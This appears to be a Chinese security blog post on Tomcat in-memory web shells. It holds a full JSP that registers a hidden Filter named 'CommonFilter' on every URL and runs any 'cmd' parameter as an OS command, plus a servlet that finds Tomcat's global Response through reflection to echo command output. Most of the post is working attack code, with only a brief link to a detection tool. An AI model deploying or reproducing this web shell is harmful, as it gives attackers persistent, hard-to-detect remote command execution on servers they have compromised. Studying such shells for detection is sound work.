<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%! public class x implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        if (cmd != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

                //将命令执行结果写入扫描器并读取所有输入
                Scanner scanner = new Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}
%>

<%
    x filter = new x();
    String name = "CommonFilter";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);


    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);


    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
%>

全局存储使用

核心就是AbstractProcessor类中存储了全局Response.
通过对链子的寻找,发现可通过全局变量来获取StandardService最终来获取到全局Response.

StandardService----->Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

但是我们如何在不使用jsp的情况下,我们如何获取到全局上下文.
tomcat中的一个个Webapp就是一个个Web应用,如果WebAPP A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2。这样在加载的时候由于全限定名相同,因此不能同时加载,所以必须对各个Webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离。
Tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。
那么我们又如何将原有的父加载器和WebappClassLoader联系起来呢?这里Tomcat使用的机制是线程上下文类加载器Thread ContextClassLoader。
Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

后面就是使用反射来获取StandardService了


@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        //获取StandardService
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
        System.out.println(standardContext);
        try {
            //获取ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);

            //获取StandardService
            Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            standardServiceField.setAccessible(true);
            StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

            //获取Connector
            Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectorsField.setAccessible(true);
            Connector[] connectors = (Connector[]) connectorsField.get(standardService);
            Connector connector = connectors[0];

            //获取Handler
            ProtocolHandler protocolHandler = connector.getProtocolHandler();
            Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
            handlerField.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

            //获取内部类AbstractProtocol$ConnectionHandler的global属性
            Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
            globalHandler.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

            //获取processors
            Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsField.setAccessible(true);
            List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);
            //获取request和response
            Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            requestField.setAccessible(true);
            for (RequestInfo requestInfo : requestInfoList){
                //获取org.apache.coyote.Request
                org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);
                //通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
                org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
                org.apache.catalina.connector.Response http_response = http_request.getResponse();
                PrintWriter writer = http_response.getWriter();
                String cmd = http_request.getParameter("cmd");
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            }
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

检测工具

https://github.com/TvT-dog/Tomcat-memshell-find

参考文章

https://goodapple.top/archives/1355

https://longlone.top/安全/java/java安全/内存马/Tomcat-Servlet型/

posted @   Ho1d_F0rward  阅读(24)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· .NET周刊【3月第1期 2025-03-02】
· [AI/GPT/综述] AI Agent的设计模式综述
点击右上角即可分享
微信分享提示